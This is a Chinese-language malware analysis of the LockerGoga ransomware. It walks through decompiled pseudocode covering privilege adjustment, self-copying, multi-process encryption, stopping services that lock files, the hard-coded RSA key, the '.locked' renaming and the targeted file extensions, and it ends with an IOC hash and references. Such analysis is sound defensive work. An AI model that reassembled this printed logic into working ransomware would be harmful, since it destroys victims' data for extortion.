概述
LockerGoga是2019年3月发现的勒索病毒,该勒索病毒充分利用CPU的多核特性,尝试最高的加密效率。
详细分析
主函数
首先获取执行这个程序的命令行
cmd_line[4] = 0;
v14 = 7;
LOWORD(cmd_line[0]) = 0;
v4 = GetCommandLineW();
sub_10E8410(cmd_line, v4, wcslen(v4));
sub_F58AE0(a1, cmd_line); // parse parameters
然后进入了sub_19b0,这个函数是程序主要逻辑,主要负责根据参数控制程序流
v10 = sub_10E19B0((int *)cmd_line, (int)&savedregs);
主要有以下参数
v4 = sub_11214B0(v3, (int)"log,l", "log");
v5 = sub_11214B0(v4, (int)"master,m", "master");
v51 = sub_11214B0(v5, (int)"slave,s", "slave");
//...
sub_11215C0(v51, (int)"ipc,i", (int)v6, "ipc");
//...
对于每一个参数,有如下的流程检查该参数是否存在
// 判断是否打印log
sub_10E8B90(v60, "log", 3u);
byte_11FA480 = sub_10E3C40(v60) != 0;
// ...
sub_10E8B90(v60, "slave", 5u); // 对于-s参数的处理
v19 = sub_10E3C40(v60);
//...
if ( v19 )
{
v18 = 1; // 设置标志位
}else
{
v63 = 0;
v64 = 15;
LOBYTE(v60[0]) = 0;
sub_10E8B90(v60, "master", 6u); // 对于 -m参数
v21 = sub_10E3C40(v60);
// ...
}
if ( !v21 )
{
v61 = sub_10E1040;
sub_11035E0(v52);
LOBYTE(v66) = 13;
v23 = (int *)dword_11FA4D4;
v51 = 0;
v24 = *((_DWORD *)dword_11FA4D4 + 1);
if ( *(_BYTE *)(v24 + 13) )
goto LABEL_47;
do
{
if ( *(int *)(v24 + 16) >= 0 )
{
v23 = (int *)v24;
v24 = *(_DWORD *)v24;
}
else
{
v24 = *(_DWORD *)(v24 + 8);
}
}
while ( !*(_BYTE *)(v24 + 13) );
if ( v23 == dword_11FA4D4 || v23[4] > 0 )
{
LABEL_47:
v51 = (int *)&v50;
v25 = (void *)sub_1101830(dword_11FA4D4, &v51, dword_11FA4D4);
sub_10FD390(v26, (int)&v51, (int)v23, (int)v25 + 16, v25);
}
sub_10EEFF0(&v60);
LOBYTE(v66) = 7;
sub_10E74C0(v61);
v18 = 0; // 如果有-m,则不使用-s
}
设置完参数之后,就根据参数执行不同的函数了
v61[1] = v18;
v27 = v61;
v61[0] = 3;
v61[2] = 4;
while ( v27 != &v61[3] )
{
v28 = dword_11FA4D4;
v29 = *v27;
v30 = (int *)*((_DWORD *)dword_11FA4D4 + 1);
if ( *((_BYTE *)v30 + 13) )
goto LABEL_68;
do
{
if ( v30[4] >= v29 )
{
v28 = v30;
v30 = (int *)*v30;
}
else
{
v30 = (int *)v30[2];
}
}
while ( !*((_BYTE *)v30 + 13) );
if ( v28 == dword_11FA4D4 || v29 < v28[4] )
LABEL_68:
sub_1159C35("invalid map<K, T> key");
v31 = v28[15];
if ( !v31 )
std::_Xbad_function_call();
(*(void (__thiscall **)(int))(*(_DWORD *)v31 + 8))(v31); // 执行函数
++v27;
}
无参数
调试得到无参数时调用的函数
int no_parameters_function_call()
{
// ...
v0 = GetCurrentProcess();
if ( OpenProcessToken(v0, 0x28u, &TokenHandle) )
{
v4 = (LPCWSTR *)off_11D19D0;
v5 = 0;
v11 = &off_11D19E4 < (int *)off_11D19D0 ? 0 : 5;
do
{
v6 = *v4;
// 调整权限
if ( !LookupPrivilegeValueW(0, *v4, &Luid)
|| (NewState.Privileges[0].Luid = Luid,
NewState.PrivilegeCount = 1,
NewState.Privileges[0].Attributes = 2,
!AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0, 0)) )
{
v7 = sub_10E5F40(v6);
sub_10EC590(v7, L":");
v8 = GetLastError();
v9 = sub_10E6130(v8);
sub_10EDBF0(v9);
}
++v5;
++v4;
}
while ( v5 != v11 );
result = CloseHandle(TokenHandle);
}
else
{
v1 = GetLastError();
v2 = sub_10E6130(v1);
result = sub_10EDBF0(v2);
}
return result;
}
然后在sub_1040中创建了程序的一个副本为tgytutrc.exe
v9 = sub_10F2F10(v8, 0, "tgytutrc", 8u);
v62 = 0i64;
v61 = *(_OWORD *)v9;
v62 = *(_QWORD *)(v9 + 16);
*(_DWORD *)(v9 + 16) = 0;
*(_DWORD *)(v9 + 20) = 15;
*(_BYTE *)v9 = 0;
//...
if ( (unsigned int)(HIDWORD(v62) - v62) < 4 )
{
LOBYTE(v39) = 0;
v12 = (__int128 *)sub_10F0440(&v61, 4, v39, ".exe", 4u);
}
else
{
v10 = &v61;
if ( HIDWORD(v62) >= 0x10 )
v10 = (__int128 *)v61;
v11 = (char *)v10 + v62;
LODWORD(v62) = v62 + 4;
memmove_0(v11, ".exe", 4u);
v11[4] = 0;
v12 = &v61;
}
然后执行cmd.exe
sub_10E8410(v50, L"cmd.exe", 7); // memmove
LOBYTE(v66) = 15;
sub_10D7930(v31, v33);
sub_10D82E0(v32, v34, v35);
LOBYTE(v66) = 16;
v24 = sub_1103020(v44, "/c");
LOBYTE(v66) = 17;
sub_11052D0(v24, L"move", L"/y", &dword_11EFBC8, v54, &unk_11D22B0); // 执行命令
添加-m参数
if ( a4 == a3 )
{
memmove(a3, L"-m");
}
else
{
*(_DWORD *)(a3 + 16) = 0;
v28[4] = 0;
v28[5] = 7;
*(_WORD *)v28 = 0;
sub_10E8410(v28, L"-m", 2);
a3 += 24;
}
执行程序
sub_10FC500(v54, (int)v36, (int)v67, (int)&a2, (int)&unk_11D22B0);
其中使用_Execute_once执行命令
sub_1103690(v17);
if ( !std::_Execute_once((struct std::once_flag *)&unk_11FA40C, sub_10F35B0, &unk_11FA3A0) )
terminate();
-m 参数
创建互斥量
_Xtime_get_ticks();
v291 = CreateMutexA(0, 0, "MX-tgytutrc");
v377 = 0;
if ( !v291 )
{
v285 = GetLastError();
sub_FBDCB0(&v285, a2);
goto LABEL_164;
}
创建用于遍历文件的线程
v269 = &std::_LaunchPad<std::unique_ptr<std::tuple<_lambda_0baa76135a225331c4edd3553d1638b4_>>>::`vftable';
v293 = 0;
v273 = v32;
LOBYTE(v377) = 19;
v36 = _Thrd_start(&v289, sub_FA7810, &v269);
其中使用如下一系列语句记录日志
f_open(&v58, (int)"c:/.log", 12, v53, v54);
LOBYTE(v98) = 1;
v3 = memcpy(&v58, "scanning...");
mk_string((int)v3);
f_out((char *)&v58);
sub_cf80获取磁盘盘符
_DWORD *__thiscall sub_FACF80(_DWORD *this)
{
//...
memset(Buffer, 0, sizeof(Buffer));
GetLogicalDriveStringsW(0x68u, Buffer);
*this = 0;
this[1] = 0;
this[2] = 0;
v16 = 0;
v2 = Buffer;
while ( 1 )
{
v12 = 0;
v13 = 7;
LOWORD(Block[0]) = 0;
sub_FB8410(Block, v2, wcslen(v2));
v16 = 1;
if ( !v12 )
break;
sub_FB4650(lpRootPathName, Block);
LOBYTE(v16) = 2;
v2 += v12 + 1;
v3 = (const WCHAR *)lpRootPathName;
if ( v15 >= 8 )
v3 = lpRootPathName[0];
v4 = GetDriveTypeW(v3) - 1;
if ( v4 && v4 != 4 )
{
v5 = (_DWORD *)this[1];
if ( (_DWORD *)this[2] == v5 )
{
sub_FBDA50((int)v5, lpRootPathName);
}
else
{
sub_FB4650(v5, lpRootPathName);
this[1] += 24;
}
}
LOBYTE(v16) = 1;
if ( v15 >= 8 )
{
v6 = (WCHAR *)lpRootPathName[0];
if ( 2 * v15 + 2 >= 0x1000 )
{
v6 = (WCHAR *)*((_DWORD *)lpRootPathName[0] - 1);
if ( (unsigned int)((char *)lpRootPathName[0] - (char *)v6 - 4) > 0x1F )
goto LABEL_25;
}
free(v6);
}
LOBYTE(v16) = 0;
LOWORD(lpRootPathName[0]) = 0;
v15 = 7;
lpRootPathName[4] = 0;
if ( v13 >= 8 )
{
v7 = Block[0];
if ( 2 * v13 + 2 >= 0x1000 )
{
v7 = (void *)*((_DWORD *)Block[0] - 1);
if ( (unsigned int)(Block[0] - v7 - 4) > 0x1F )
goto LABEL_25;
}
free(v7);
}
if ( v2 == (WCHAR *)Block )
return this;
}
if ( v13 >= 8 )
{
v8 = Block[0];
if ( 2 * v13 + 2 >= 0x1000 )
{
v8 = (void *)*((_DWORD *)Block[0] - 1);
if ( (unsigned int)(Block[0] - v8 - 4) > 0x1F )
LABEL_25:
_invalid_parameter_noinfo_noreturn();
}
free(v8);
}
return this;
}
扫描文件
v11 = (_DWORD *)sub_FA51B0(v61, v88, &v82);
v12 = (_DWORD *)v10[1];
sub_51b0遍历目录
mk_string0(v19, v5, wcslen((const unsigned __int16 *)v5));
v6 = *(_DWORD **)a1;
LOBYTE(v23) = 1;
findFirstFile((int)&v17, (int)(v6 + 10), v19, (int)Src, (int)&v14, (int)&v12);
LOBYTE(v23) = 0;
sub_FA4B10(v19);
if ( v18 )
{
sub_FFAB10(a1);
sub_FFA270(v17, a2, a3, "boost::filesystem::directory_iterator::construct");
}
else if ( *(_DWORD *)(*(_DWORD *)a1 + 40) )
{
sub_FB4650(v19, Src);
LOBYTE(v23) = 2;
v7 = sub_FA4C00((int)v16, a2, (int)v19);
v8 = *(_DWORD **)a1;
LOBYTE(v23) = 3;
if ( v8 != (_DWORD *)v7 )
{
v9 = (void *)v7;
if ( *(_DWORD *)(v7 + 20) >= 8u )
v9 = *(void **)v7;
mk_string0(v8, v9, *(_DWORD *)(v7 + 16));
}
v8[6] = v14;
v8[7] = v15;
v8[8] = v12;
v8[9] = v13;
sub_FA4B10(v16);
LOBYTE(v23) = 0;
sub_FA4B10(v19);
v10 = Src;
if ( v22 >= 8 )
v10 = (int *)Src[0];
if ( *(_WORD *)v10 == 46 )
{
if ( v21 == 1 )
goto LABEL_22;
v11 = Src;
if ( v22 >= 8 )
v11 = (int *)Src[0];
if ( *((_WORD *)v11 + 1) == 46 && v21 == 2 )
LABEL_22:
FindNextFile(a1, a3);
}
判断文件是否是可执行文件
mk_string0(v15, FindFileData.cFileName, wcslen(FindFileData.cFileName));
LOBYTE(v21) = 1;
*(_DWORD *)(a5 + 4) = sub_FFA600(v15, FindFileData.dwFileAttributes);
sub_FA4B10(v15);
*(_DWORD *)(a6 + 4) = *(_DWORD *)(a5 + 4);
获取处理器数量
DWORD get_processor_num()
{
struct _SYSTEM_INFO SystemInfo; // [esp+0h] [ebp-24h] BYREF
GetNativeSystemInfo(&SystemInfo);
return SystemInfo.dwNumberOfProcessors;
}
创建不大于处理器数量的子进程
v43 = get_processor_num();
v44 = v43 + 1;
v296 = v43 + 1;
if ( v43 != -1 )
{
if ( v44 > 0x3FFFFFFF )
sub_FB6EB0();
sub_FB6EC0(v43 + 1);
v42 = v298;
v44 = v296;
}
for ( i = 0; ; i = v306 + 1 )
{
v306 = i;
if ( (unsigned int)i >= v44 )
break;
v46 = operator new(0x80u);
v293 = v46;
v282 = v46;
LOBYTE(v377) = 23;
sub_FB4650(v46, &dword_10BFBC8);
v46[6] = &std::_Func_impl_no_alloc<_lambda_0a67aa7357a228a51e17c83368d58874_,boost::process::child,>::`vftable';
v46[7] = v46;
v46[15] = v46 + 6;
LOBYTE(v377) = 25;
v283 = (unsigned int)(v46 + 16);
if ( v46 == (_DWORD *)-24 )
std::_Xbad_function_call();
sub_FAAF90(v46 + 16); // 使用-i和-s创建进程
设置-i和-s参数
sub_FCB3A0("-i", &dword_10BFBB0, "-s", &v17, v18); // dword_10bfbb0='SM-tgytutrc'
创建进程
v5 = CreateProcessA(
*(LPCSTR *)(this + 108),
*(LPSTR *)(this + 104),
*(LPSECURITY_ATTRIBUTES *)(this + 88),
*(LPSECURITY_ATTRIBUTES *)(this + 92),
*(_DWORD *)(this + 96),
*(_DWORD *)this,
*(LPVOID *)(this + 112),
*(LPCSTR *)(this + 100),
(LPSTARTUPINFOA)(this + 4),
(LPPROCESS_INFORMATION)(this + 120));
监测子进程状态
while ( 2 )
{
v51 = ReleaseMutex;
v52 = (void (__stdcall *)())GetLastError;
LABEL_92:
sub_F83B80(&v237);
v312 = v242 == 0;
LOBYTE(v381) = 29;
v53 = v298;
v54 = _InterlockedExchangeAdd(v298, 0x80000000);
if ( (v54 & 0x40000000) == 0 && v54 != 0x80000000 && !_interlockedbittestandset(v53, 0x1Eu) )
{
v55 = (void *)sub_F78630(v194, v195);
SetEvent(v55);
}
LOBYTE(v381) = 28;
if ( !v312 || !v307 )
{
v105 = v301;
v106 = (int)v302;
while ( v105 != (void **)v106 )
sub_F7B1B0(*v105++);
v107 = WaitForSingleObject(v295, 0x32u);
if ( v107 == 128 )
{
sub_F71B00("failed to lock mutex");
_CxxThrowException(&v205, (_ThrowInfo *)&_TI1_AVexception_std__);
}
查看子进程是否存活
v21 = (int)&unk_109A3A0;
result = sub_F76700(v2, (DWORD *)&v20);
if ( v20 )
{
sub_F76210("running error", v20, v21);
_CxxThrowException(pExceptionObject, (_ThrowInfo *)&_TI5_AUprocess_error_process_boost__);
}
获取子进程退出的原因,并且根据这个原因做相应的动作
if ( !*(_DWORD *)this || *(_DWORD *)this == -1 || *(_BYTE *)(this + 25) || **(_DWORD **)(this + 16) != 0x103 )
return 0;
if ( !GetExitCodeProcess(*(HANDLE *)this, &ExitCode) )
{
if ( std::_Execute_once((struct std::once_flag *)&unk_109A40C, sub_F935B0, &unk_109A3A0) )
{
*a2 = GetLastError();
a2[1] = (DWORD)&unk_109A3A0;
goto LABEL_10;
}
LABEL_17:
terminate();
}
*a2 = 0;
if ( !std::_Execute_once((struct std::once_flag *)&unk_109A40C, sub_F935B0, &unk_109A3A0) )
goto LABEL_17;
a2[1] = (DWORD)&unk_109A3A0;
LABEL_10:
if ( ExitCode == 259 )
return 1;
如果不存活,则关闭handle,并使用sub_af90重新创建进程
if ( result )
return result;
v4 = v1[15];
if ( !v4 )
std::_Xbad_function_call();
sub_F7AF90((_DWORD *)(v4 + 4), (int)hProcess);
CloseHandle(*(HANDLE *)v2);
CloseHandle(*(HANDLE *)(v2 + 4));
-s参数
打开互斥量,如果失败则退出程序
hHandle = OpenMutexA(0x1F0001u, 0, "MX-tgytutrc");
i = 0;
if ( !hHandle )
{
v74 = GetLastError();
sub_F8DCB0((int *)&v74, a1);
goto LABEL_81;
}
//...
LABEL_81:
result = hHandle;
if ( hHandle )
result = (HANDLE)CloseHandle(hHandle);
return result;
从父进程读取要加密的文件夹,使用base64解密
v4 = WaitForSingleObject(hHandle, 0x2710u);
//...
v80 = &CryptoPP::StringSource::`vftable';
//...
((void (__thiscall *)(void ***))v80[8])(&v80);
((void (__thiscall *)(void ***, int))v80[50])(&v80, 1); // base64解码
//...
加载相关API
if ( dword_109A6BC )
{
if ( (result & 2) == 0 )
{
dword_109A6B8 = result | 2;
v39 = 5;
*(_DWORD *)RmStartSession = load_library(&dword_109A6BC, "RmStartSession");
v39 = -1;
result = dword_109A6B8;
}
if ( (result & 4) == 0 )
{
dword_109A6B8 = result | 4;
v39 = 6;
*(_DWORD *)RmRegisterResources = load_library(&dword_109A6BC, "RmRegisterResources");
v39 = -1;
result = dword_109A6B8;
}
if ( (result & 8) == 0 )
{
dword_109A6B8 = result | 8;
v39 = 7;
*(_DWORD *)RmGetList = load_library(&dword_109A6BC, "RmGetList");
v39 = -1;
}
判断文件是否有进程占用,如果有则等待进程退出
memset(v38, 0, 0x42u);
result = RmStartSession(&pSessionHandle, 0, v38);
if ( !result )
{
if ( this[5] >= 8u )
this = (_DWORD *)*this;
rgsFileNames = (LPCWSTR)this;
result = RmRegisterResources(pSessionHandle, 1u, &rgsFileNames, 0, 0, 0, 0);
if ( !result )
{
v27 = 0;
v29 = 0;
v30 = 0;
sub_FB4E90(v20, v21);
v39 = 8;
v10 = RmGetList(pSessionHandle, &v29, &v30, v35, &v27);
if ( !v10 || v10 == 234 )
{
if ( v29 )
{
v30 = v29;
sub_FB4F60(v29, &v35);
if ( !RmGetList(pSessionHandle, &v29, &v30, v35, &v27) )
{
v11 = v35;
for ( i = v36; v11 != i; ++v11 )
{
v12 = OpenProcess(1u, 0, *v11);
v24 = v12;
if ( v12 )
{
sub_F84600(lpServiceName, v11 + 131);
v13 = OpenSCManagerW(0, 0, 5u);
v14 = v13;
v25 = v13;
if ( v13 )
{
v15 = (const WCHAR *)lpServiceName;
if ( v33 >= 8 )
v15 = lpServiceName[0];
v16 = OpenServiceW(v13, v15, 0x2Cu);
v17 = v16;
if ( v16 )
{
sub_FB47F0(v16, v14);
ControlService(v17, 1u, &ServiceStatus);
v18 = GetTickCount();
if ( ServiceStatus.dwCurrentState != 1 )
{
do
Sleep(ServiceStatus.dwWaitHint);
while ( QueryServiceStatusEx(
v17,
SC_STATUS_PROCESS_INFO,
(LPBYTE)&ServiceStatus,
0x24u,
&pcbBytesNeeded)
&& ServiceStatus.dwCurrentState != 1
&& GetTickCount() - v18 <= 0x1388
&& ServiceStatus.dwCurrentState != 1 );
}
CloseServiceHandle(v17);
v14 = v25;
}
CloseServiceHandle(v14);
加载相关API
if ( dword_109A69C )
{
if ( (v4 & 2) == 0 )
{
dword_109A6B0 = v4 | 2;
LOBYTE(v162) = 5;
dword_109A6A8 = (int)load_library(&dword_109A69C, "NtOpenFile");
LOBYTE(v162) = 1;
v4 = dword_109A6B0;
}
if ( (v4 & 4) == 0 )
{
dword_109A6B0 = v4 | 4;
LOBYTE(v162) = 6;
dword_109A6AC = (int)load_library(&dword_109A69C, "NtClose");
LOBYTE(v162) = 1;
v4 = dword_109A6B0;
}
if ( (v4 & 8) == 0 )
{
dword_109A6B0 = v4 | 8;
LOBYTE(v162) = 7;
dword_109A698 = (int)load_library(&dword_109A69C, "NtReadFile");
LOBYTE(v162) = 1;
v4 = dword_109A6B0;
}
if ( (v4 & 0x10) == 0 )
{
dword_109A6B0 = v4 | 0x10;
LOBYTE(v162) = 8;
dword_109A6B4 = (int)load_library(&dword_109A69C, "NtWriteFile");
LOBYTE(v162) = 1;
v4 = dword_109A6B0;
}
if ( (v4 & 0x20) == 0 )
{
dword_109A6B0 = v4 | 0x20;
LOBYTE(v162) = 9;
dword_109A6A0 = (int)load_library(&dword_109A69C, "RtlInitUnicodeString");
LOBYTE(v162) = 1;
}
生成随机数
if ( !CryptGenRandom(*v3, dwLen, pbBuffer) )
{
sub_F84B00(v7, "CryptGenRandom");
LOBYTE(v8) = 1;
sub_FEA3B0(v7);
_CxxThrowException(pExceptionObject, (_ThrowInfo *)&_TI3_AVOS_RNG_Err_CryptoPP__);
}
result = hProv;
if ( hProv )
result = CryptReleaseContext(hProv, 0);
return result
加载硬编码的公钥
sub_F79C80(
" MIGdMA0GCSqGSIb3DQEBAQUAA4GLADCBhwKBgQDLscAMf6QMU0OLT967Q0oMVN/9xRbC6Ymz HVVE05zgpDJRQQLmPPYcPnehaeynF8HGFYbRIEaD"
"0pk4WZwGPLtcRaYuQS1M6v+2j4Vp8faA woNdi7+jI2xw0kQao29FJ8WUQDvrPqODALf8bjiOIO7f1Nc5g9vOEbWyCA1w/vbaVwIBEQ==",
0xDBu,
0);
添加.locked后缀
open_file((int)v112, lpFileName, (int)&v138);
LOBYTE(v162) = 22;
set_file_attr(lpFileName, 438, (int)&v138);
LOBYTE(v162) = 21;
add_suffix(Src, (void *)lpFileName, L".locked", v74);
LOBYTE(v162) = 23;
sub_F84650(NewFileName, Src);
LOBYTE(v162) = 24;
remove_file(NewFileName, (int)&v138);
//...
sub_F84650(NewFileName, Src);
LOBYTE(v162) = 25;
moveFile(lpFileName, NewFileName, 0);
加密文件
InitKey((unsigned int *)&v156, v67, v68);
LOBYTE(v160) = 27;
mk_algorithm(v78, (int)&v130[7], v31, (int)&v130[3]);
LOBYTE(v160) = 28;
v32 = v130[0];
v33 = v130[1];
*(_QWORD *)v120 = 0i64;
v34 = 0;
v35 = 0;
v118 = v130[0];
for ( i = v130[1]; ; v33 = i )
{
v124 = v35;
v122 = (unsigned int)v34;
if ( (unsigned int)v34 > v33 || (unsigned int)v34 >= v33 && v35 >= v32 )
break;
v36 = v32 - v35;
if ( __PAIR64__(v33, v32) - __PAIR64__((unsigned int)v34, v35) > 0x10000 )
v36 = 0x10000;
((void (__cdecl *)(HANDLE, _DWORD, _DWORD, _DWORD, struct _IO_STATUS_BLOCK *, int, int, _DWORD, _DWORD))NtReadFile)(
Handle,
0,
0,
0,
&IoStatusBlock,
v156,
v36,
0,
0);
encrypt(v121, (unsigned __int8 *)v156, v36);
//...
v66 = StreamTransformationFilter(v52, (int)v92, (int)v53, 5);
LOBYTE(v160) = 35;
sub_F7A8A0(v139, v123, v36, v54, (int)v66);
v139[0] = (int)&CryptoPP::SourceTemplate<CryptoPP::StringStore>::`vftable';
v139[1] = (int)&CryptoPP::SourceTemplate<CryptoPP::StringStore>::`vftable';
//...
((void (__cdecl *)(HANDLE, _DWORD, _DWORD, _DWORD, struct _IO_STATUS_BLOCK *, int, int, int *, _DWORD))NtWriteFile)(
Handle,
//...
0);
v35 = v111;
v34 = (char *)v119;
v32 = v118;
}
//...
v61 = ((int (__thiscall *)(void ***, int *, _DWORD, int (__thiscall ***)(void *, char)))v74[7])(
&v74,
&dword_109A548,
0,
off_108F038);
sub_FD0F10(v61, 0, 0, v60);
*v58 = &CryptoPP::PK_EncryptorFilter::`vftable';
v58[1] = &CryptoPP::PK_EncryptorFilter::`vftable';
LOBYTE(v160) = 28;
sub_F7A8A0(v127, (int)&v130[2], 40, v62, (int)v58);
LOBYTE(v160) = 40;
((void (__cdecl *)(HANDLE, _DWORD, _DWORD, _DWORD, struct _IO_STATUS_BLOCK *, int *, int, _DWORD, _DWORD))NtWriteFile)(
Handle,
//...
0);
NtClose(Handle);
将goga添加到文件末尾
v130[11] = 'agog';
//...
if ( (unsigned int)v37 >= i && ((unsigned int)v37 > i || v124 + 0x10000 >= v118) )
{
sub_FB3560(&v156, v36 + 4, (int)&v156);
v123 = v156;
v38 = *(int (**)())(v121[0] + 32);
v116 = *(int (__thiscall ****)(void *, char))(v121[0] + 60);
if ( v38 == sub_FB1CE0 )
v39 = 20;
else
v39 = ((int (__thiscall *)(int *))v38)(v121);
((void (__thiscall *)(int *, int, int))v116)(v121, v36 + v123, v39);
v36 += 4;
}
加密的文件类型
if ( (dword_109A630 & 2) == 0 )
{
dword_109A630 |= 2u;
v161 = 6;
v59 = 0;
v60 = 15;
v58[0] = 0;
sub_F88B90(v58, ".doc", 4u);
LOBYTE(v161) = 7;
v62 = 0;
v63 = 15;
v61[0] = 0;
sub_F88B90(v61, ".dot", 4u);
LOBYTE(v161) = 8;
v65 = 0;
v66 = 15;
v64[0] = 0;
sub_F88B90(v64, ".docx", 5u);
LOBYTE(v161) = 9;
v68 = 0;
v69 = 15;
v67[0] = 0;
sub_F88B90(v67, ".docb", 5u);
LOBYTE(v161) = 10;
v71 = 0;
v72 = 15;
v70[0] = 0;
sub_F88B90(v70, ".dotx", 5u);
LOBYTE(v161) = 11;
v74 = 0;
v75 = 15;
v73[0] = 0;
sub_F88B90(v73, "dotb", 4u);
LOBYTE(v161) = 12;
v77 = 0;
v78 = 15;
v76[0] = 0;
sub_F88B90(v76, ".wkb", 4u);
LOBYTE(v161) = 13;
v80 = 0;
v81 = 15;
v79[0] = 0;
sub_F88B90(v79, ".xml", 4u);
LOBYTE(v161) = 14;
v83 = 0;
v84 = 15;
v82[0] = 0;
sub_F88B90(v82, ".xls", 4u);
LOBYTE(v161) = 15;
v86 = 0;
v87 = 15;
v85[0] = 0;
sub_F88B90(v85, ".xlsx", 5u);
LOBYTE(v161) = 16;
v89 = 0;
v90 = 15;
v88[0] = 0;
sub_F88B90(v88, ".xlt", 4u);
LOBYTE(v161) = 17;
v92 = 0;
v93 = 15;
v91[0] = 0;
sub_F88B90(v91, ".xltx", 5u);
LOBYTE(v161) = 18;
v95 = 0;
v96 = 15;
v94[0] = 0;
sub_F88B90(v94, ".xlsb", 5u);
LOBYTE(v161) = 19;
v98 = 0;
v99 = 15;
v97[0] = 0;
sub_F88B90(v97, ".xlw", 4u);
LOBYTE(v161) = 20;
v101 = 0;
v102 = 15;
v100[0] = 0;
sub_F88B90(v100, ".ppt", 4u);
LOBYTE(v161) = 21;
v104 = 0;
v105 = 15;
v103[0] = 0;
sub_F88B90(v103, ".pps", 4u);
LOBYTE(v161) = 22;
v107 = 0;
v108 = 15;
v106[0] = 0;
sub_F88B90(v106, ".pot", 4u);
LOBYTE(v161) = 23;
v110 = 0;
v111 = 15;
v109[0] = 0;
sub_F88B90(v109, ".ppsx", 5u);
LOBYTE(v161) = 24;
v113 = 0;
v114 = 15;
v112[0] = 0;
sub_F88B90(v112, ".pptx", 5u);
LOBYTE(v161) = 25;
v116 = 0;
v117 = 15;
v115[0] = 0;
sub_F88B90(v115, ".posx", 5u);
LOBYTE(v161) = 26;
v119 = 0;
v120 = 15;
v118[0] = 0;
sub_F88B90(v118, ".potx", 5u);
LOBYTE(v161) = 27;
v122 = 0;
v123 = 15;
v121[0] = 0;
sub_F88B90(v121, ".sldx", 5u);
LOBYTE(v161) = 28;
v125 = 0;
v126 = 15;
v124[0] = 0;
sub_F88B90(v124, ".pdf", 4u);
LOBYTE(v161) = 29;
v128 = 0;
v129 = 15;
v127[0] = 0;
sub_F88B90(v127, ".db", 3u);
LOBYTE(v161) = 30;
v131 = 0;
v132 = 15;
v130[0] = 0;
sub_F88B90(v130, ".sql", 4u);
LOBYTE(v161) = 31;
v134 = 0;
v135 = 15;
v133[0] = 0;
sub_F88B90(v133, ".cs", 3u);
LOBYTE(v161) = 32;
v137 = 0;
v138 = 15;
v136[0] = 0;
sub_F88B90(v136, ".ts", 3u);
LOBYTE(v161) = 33;
v140 = 0;
v141 = 15;
v139[0] = 0;
sub_F88B90(v139, ".js", 3u);
LOBYTE(v161) = 34;
v143 = 0;
v144 = 15;
v142[0] = 0;
sub_F88B90(v142, ".py", 3u);
IOCs
file name | md5 |
---|---|
LokerGoga.exe | e11502659f6b5c5bd9f78f534bc38fea |
参考资料
[1] https://blog.360totalsecurity.com/en/lockergoga-ransomware-detailed-analysis-targeted-efficient-destructive-attacks/
[2] https://ieeexplore.ieee.org/stamp/stamp.jsp?tp=&arnumber=8884472
[3] https://docs.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-adjusttokenprivileges
[4] 该病毒使用这个项目加密 https://github.com/doo/cryptopp/
[5] https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/ntifs/nf-ntifs-ntwritefile
end
招新小广告
ChaMd5 Venom 招收大佬入圈
新成立组IOT+工控+样本分析 长期招新
原文始发于微信公众号(ChaMd5安全团队):LockerGoga分析